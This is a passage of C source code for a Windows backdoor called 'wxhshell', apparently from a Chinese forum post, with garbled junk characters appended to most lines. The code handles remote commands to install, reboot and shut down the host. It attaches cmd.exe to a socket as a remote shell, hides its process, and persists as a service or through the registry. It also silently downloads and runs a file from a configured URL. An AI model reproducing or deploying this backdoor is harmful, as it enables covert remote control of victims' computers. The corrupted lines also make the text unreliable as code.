      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *o' 4,+=am  
    break; ecX/K.8l  
  } !]S=z^"<  
  // 安装 ^+R:MBK  
  case 'i': { *mBJ? { !  
    if(Install()) x7RdZC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hxC!+ArVe  
    else 137Xl>nO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (\dK4JJ  
    break; 2D([Z-<i  
    } BN@,/m9OQ%  
  // 卸载 ;t]|15]u  
  case 'r': { 6U,fz#<,}  
    if(Uninstall()) ,fnsE^}.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-5jYwV  
    else E/za @W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8,o17}NY,  
    break; 3AlqBXE"Z<  
    } MFg'YA2/  
  // 显示 wxhshell 所在路径 C%ytkzG_  
  case 'p': { 5@XV6  
    char svExeFile[MAX_PATH]; hkW{88  
    strcpy(svExeFile,"\n\r"); qSQ@p\O~  
      strcat(svExeFile,ExeFile); PMKb ]y  
        send(wsh,svExeFile,strlen(svExeFile),0); o6?l/nJ  
    break; zH'2s-.bi  
    } +=8X8<Pu  
  // 重启 FBsn;,3<W  
  case 'b': { /qxJgoa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k|O,1  
    if(Boot(REBOOT)) H2Eb\v`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gKL1c{BV  
    else { [xpQH?  
    closesocket(wsh); +zRh fIJHH  
    ExitThread(0); %{STz  
    } C=VIT*=  
    break; 00M`%c/  
    } =s'7$D}0.  
  // 关机 Sue 6+p  
  case 'd': { {TL +7kiX/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n=`w9qajd  
    if(Boot(SHUTDOWN)) 6~W u`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); viuiqs5[Bi  
    else { C(]'&~}(  
    closesocket(wsh); Y jup  
    ExitThread(0); JfTfAq]  
    } FD6v /Y  
    break; `Lz1{#F2G  
    } n9 fk,3  
  // 获取shell "g `nsk  
  case 's': { (G8  
    CmdShell(wsh); '8r8%XI  
    closesocket(wsh); 3C"_$?y"  
    ExitThread(0); vF>gU_gz.  
    break; Yg6I&#f7&  
  } +p?hGoF=  
  // 退出 id?_>9@P  
  case 'x': { 4uX(_5#j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f[qPG&  
    CloseIt(wsh); ypA:  P  
    break; EDN(eh(_  
    } IT1P Pm  
  // 离开 nC~fvyd<P  
  case 'q': { :l~EE!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 797X71>  
    closesocket(wsh); 5.k}{{+  
    WSACleanup(); >38 Lt\  
    exit(1); G&o64W;-s  
    break; z{6 YC~  
        } 2cjEex:&  
  } Bn-J_-%M  
  } l#6&WWmr  
-SJSTO[/J  
  // 提示信息 *mV&K\_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SOH%Q_  
} d~<QAh#rG  
  } wsfysat$  
@xJCn}`Zj  
  return; ] SK[C" S  
} 6F`\YSn+  
n4>cERf a  
// shell模块句柄 h]P/KVqR.  
int CmdShell(SOCKET sock) lf8xL9v  
{ WW3  B  
STARTUPINFO si; J"bD\%  
ZeroMemory(&si,sizeof(si)); ;\s~%~ \  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _:5=|2-E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6z1\a  
PROCESS_INFORMATION ProcessInfo; DVzssP g  
char cmdline[]="cmd"; [tm[,VfA^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0IFlEe[>#  
  return 0; sJ7sjrEp 1  
} </yo9.  
lzoeST  
// 自身启动模式 O3+)qb!X  
int StartFromService(void)  i_y:4  
{ +@>:%yX  
typedef struct Tc,$TCF  
{ !a4cjc(  
  DWORD ExitStatus; !u%9;>T7  
  DWORD PebBaseAddress; Oc^m_U8>^  
  DWORD AffinityMask; ,|iy1yg(  
  DWORD BasePriority; jnDQ{D  
  ULONG UniqueProcessId; L"^.0*X/d  
  ULONG InheritedFromUniqueProcessId; ~T&% VvI  
}   PROCESS_BASIC_INFORMATION; (!ZV9S  
L1F###c  
PROCNTQSIP NtQueryInformationProcess; g9|qbKQ:[  
xDLMPo&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Jv43L H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }\4p3RQrz  
p6[#f96^u  
  HANDLE             hProcess; GY7s  
  PROCESS_BASIC_INFORMATION pbi; w~{| S7/  
>3+FZ@.iT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V*~423  
  if(NULL == hInst ) return 0; X/wmKi  
C{)HlOW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FbBX}n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |f3U%2@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [%t3[p<)O  
enPLaiJ'|q  
  if (!NtQueryInformationProcess) return 0; 94+/wzWvi  
W'V@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >"bnpYSe  
  if(!hProcess) return 0; " SLvUzO>q  
`1$y(w]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k%^<}s@  
~ z>BfL  
  CloseHandle(hProcess); EFwL.'Fh  
W8x[3,gT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v#-E~;C cC  
if(hProcess==NULL) return 0; @?Fx  
[='p!7 z  
HMODULE hMod; aSTFcz"  
char procName[255]; Ny B&uf  
unsigned long cbNeeded; y3IA '  
RE*WM3QK~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o|+E+l9\  
)X~#n  
  CloseHandle(hProcess); ^aT;aP^l  
cP, ;Qbe  
if(strstr(procName,"services")) return 1; // 以服务启动 PlF!cr7:4  
||`qIElAW,  
  return 0; // 注册表启动 VOg/VGJ  
} | yS5[?.`  
}U(\~ =D  
// 主模块 61L7 -~  
int StartWxhshell(LPSTR lpCmdLine) Ogd8!'\  
{ ;C+cE#   
  SOCKET wsl; e/ WBgiLw  
BOOL val=TRUE; V8\$`NEP  
  int port=0; m:b^,2"g  
  struct sockaddr_in door; 6TY){P w  
-!i;7[N  
  if(wscfg.ws_autoins) Install(); mZ~mf->%  
2|$lk8/,  
port=atoi(lpCmdLine); ,zG<7~m  
8znj~7}#  
if(port<=0) port=wscfg.ws_port; A"0wvk)UcY  
J &{qppN  
  WSADATA data; _IC,9bbg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'xQna+%h  
@T5YsX]qb7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sE-x"c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xcw%RUC-  
  door.sin_family = AF_INET; 9^(HXH_f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IvFR <n  
  door.sin_port = htons(port); //~POm  
9jqO/_7R+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6aRGG+H  
closesocket(wsl); BSOjyy1f  
return 1; ]c5DOv&  
} B'<!k7Ewy  
\y[Bu^tk  
  if(listen(wsl,2) == INVALID_SOCKET) { ~."!l'a  
closesocket(wsl); lfXH7jL2~  
return 1; yLjV[ qP  
} ^=Q8]W_*  
  Wxhshell(wsl); N&?T0Ge;  
  WSACleanup(); lt{lHat1  
`i=JjgG@  
return 0; h-Tsi:%b  
aMBL1d7  
} S^|$23}  
+:fqL  
// 以NT服务方式启动 5r^1CFO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p(~Y" H  
{ yI3Q|731)  
DWORD   status = 0; JL?Cnk$!  
  DWORD   specificError = 0xfffffff;  \C!%IR  
-)4uYK*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W+8BQ- 2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +.S#=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J 5Wz4`'  
  serviceStatus.dwWin32ExitCode     = 0; mYiSR   
  serviceStatus.dwServiceSpecificExitCode = 0; :0WkxEY9  
  serviceStatus.dwCheckPoint       = 0; i/5y^  
  serviceStatus.dwWaitHint       = 0; C(EYM$  
;RNM   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); caGML|DeI  
  if (hServiceStatusHandle==0) return; c:3@[nF~  
1P(%9  
status = GetLastError(); $7msL#E7  
  if (status!=NO_ERROR) XC*uz  
{ 17WNJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7vi i9Am7  
    serviceStatus.dwCheckPoint       = 0; h9w@oRp`~  
    serviceStatus.dwWaitHint       = 0; _=o1?R  
    serviceStatus.dwWin32ExitCode     = status; "L9C  
    serviceStatus.dwServiceSpecificExitCode = specificError; N|UBaPS|o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0q:(-z\S4  
    return; =''mpIg(  
  } nu#aa#ex>  
<P+G7!KZ&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0\? _ lT2  
  serviceStatus.dwCheckPoint       = 0; Aqa6R+c  
  serviceStatus.dwWaitHint       = 0; &sI,8X2a2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H(X+.R,Thp  
} /1IvLdPIu  
,:v.L}+Z  
// 处理NT服务事件,比如:启动、停止 &?KPu?9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4C l, Iw/;  
{ o}WB(WsG  
switch(fdwControl) H @_eFlT t  
{ 4$0jz'  
case SERVICE_CONTROL_STOP: A Oby*c  
  serviceStatus.dwWin32ExitCode = 0; (iHf9*i CV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B@ZqJw9J[  
  serviceStatus.dwCheckPoint   = 0; @o}1n?w  
  serviceStatus.dwWaitHint     = 0; -s9Y(>  
  { u&1j>`~qJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =nJOaXR0  
  } g2+l@$W  
  return; .'l.7t  
case SERVICE_CONTROL_PAUSE: Zk~nB}Xw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0t5Q9#RY  
  break; s,1pZT <E  
case SERVICE_CONTROL_CONTINUE: @J~ lV\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k)N2 +/  
  break; <bEN8b  
case SERVICE_CONTROL_INTERROGATE: n%83jep9  
  break; E\{^0vNc  
}; Vpug"aR&_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wm); aWP  
} s,eld@  
>/7KL2*  
// 标准应用程序主函数 2uvQf&,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j#*asGdp#J  
{ 9F2P(aS  
}u(d'9u  
// 获取操作系统版本 PWf{aHsr  
OsIsNt=GetOsVer(); X% Spv/8{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^tm++  
>$7wA9YhL  
  // 从命令行安装 -D!#W%y8  
  if(strpbrk(lpCmdLine,"iI")) Install(); xT_fr,P  
.yctE:n  
  // 下载执行文件 ^/`#9]<%  
if(wscfg.ws_downexe) { E[)7tr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j[$B\H  
  WinExec(wscfg.ws_filenam,SW_HIDE); >uBV  
} |y{; |K  
J{nyo1A  
if(!OsIsNt) { Nb^zkg  
// 如果时win9x,隐藏进程并且设置为注册表启动 /3)YWFZZc  
HideProc(); A2g"=x[1@K  
StartWxhshell(lpCmdLine); }XfS#Xr1aV  
} o9U0kI=W  
else 5]4<!m  
  if(StartFromService()) s`8M%ZLu  
  // 以服务方式启动 OYqYI!N/  
  StartServiceCtrlDispatcher(DispatchTable); "C$!mdr7  
else ) xfc-Q  
  // 普通方式启动 Bq$e|t)'  
  StartWxhshell(lpCmdLine); 2x<Qt2"  
|QAeQWP+1  
return 0; Ft%TnEp  
}
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只看该作者 1 发表于: 2006-10-10
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